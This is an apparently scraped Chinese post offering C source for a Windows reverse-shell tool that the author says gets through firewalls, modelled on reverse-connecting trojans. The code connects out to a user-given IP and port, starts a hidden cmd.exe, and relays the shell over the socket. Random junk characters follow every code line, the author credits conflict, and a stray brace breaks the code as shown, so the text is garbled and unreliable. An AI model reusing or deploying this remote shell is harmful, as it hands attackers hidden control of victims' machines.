这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 vDvFL<`vmD
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/* ============================== j<$2hiI/?&
Rebound port in Windows NT G~m<;
By wind,2006/7 ;*J
===============================*/ /L3:
#include \)e'`29;
#include 6LhTBV
v:#tWEbo-
#pragma comment(lib,"wsock32.lib") [F7hu7zY8
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void OutputShell(); -\MG}5?!
SOCKET sClient; FI.\%x
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; d(K+);!
v[<T]1=LRC
void main(int argc,char **argv) O.M1@w]
{ 6u%&<")4HP
WSADATA stWsaData; 4M T 7 `sr
int nRet; |j|rS5
SOCKADDR_IN stSaiClient,stSaiServer; qP
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if(argc != 3) ~ri5zb20
{ naNghGQ
printf("Useage:\n\rRebound DestIP DestPort\n"); PY'2h4IL
return; 2<6UwF
} p7~!z.)o
+[ZY:ZQ
WSAStartup(MAKEWORD(2,2),&stWsaData); #9s,#
}
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (m$Y<{)2
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stSaiClient.sin_family = AF_INET; *WZA9G#V5
stSaiClient.sin_port = htons(0); 4ppz,L,4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); JGZBL{8
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I+(nu47ZT
{ qgB_=Q#E
printf("Bind Socket Failed!\n"); 9H~n_
return; $VR{q6[0S?
} n+p }\msH
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stSaiServer.sin_family = AF_INET; XP}<N&j
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~M$Wd2Th
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); kGJC\{N5N
}B^tL$k
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >GuM]qn
{ E`J@hl$N
printf("Connect Error!"); QWU-m{@~&
return; O&&~NXI\
} 3U}%2ARo_
OutputShell(); ^f@=:eWI
} [><Tm\(:
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void OutputShell() fsXy"#mOkD
{
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char szBuff[1024]; tBSW|0
SECURITY_ATTRIBUTES stSecurityAttributes; R!1p^~/
OSVERSIONINFO stOsversionInfo; {)Xy%QV
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &j6erwaT
STARTUPINFO stStartupInfo; p}P-6&k,U
char *szShell; #z42C?V
PROCESS_INFORMATION stProcessInformation; cb bFw
unsigned long lBytesRead; s[ N@0
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); m+9#5a-
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |a@L}m
stSecurityAttributes.lpSecurityDescriptor = 0; hGrdtsH?
stSecurityAttributes.bInheritHandle = TRUE; Zd&S@Z
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[Qr"cR^
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !m$jk2<
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,,TnIouy
qP;OaM
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); W3RT{\
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]'S^]
stStartupInfo.wShowWindow = SW_HIDE; 6B-16
stStartupInfo.hStdInput = hReadPipe; t,'<gI
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; JtZ7ti
5-M-X#(
GetVersionEx(&stOsversionInfo); wY}@'pzX
s^SJY{
switch(stOsversionInfo.dwPlatformId) ]^]wP]R_
{ t<qiGDJ<d
case 1: N g,j#
szShell = "command.com"; }7X%'Bg=M
break;
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default: p[cX O=
szShell = "cmd.exe"; adw2x pj
break; .(vwIb8\_
} .V*^|UXbHi
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2pAW9R#UV-
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send(sClient,szMsg,77,0); +|rj4j)L&'
while(1) _*zt=zn>
{ vv7I_nK?
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); OJxl<Q=z
if(lBytesRead) }\LQ3y"[
{ 8i pez/
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Debv4Gr;^
send(sClient,szBuff,lBytesRead,0); =lC7gS!U
} n:X y6H
else = /8cp
{ 3a|\dav%
lBytesRead=recv(sClient,szBuff,1024,0); Ep}s}Stlr}
if(lBytesRead<=0) break; W8<%[-r
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %$mA03[MQ
} ZB{Em B0W
} liSmjsk
=Sv/IXX\di
return; <uJ@:oWG7
}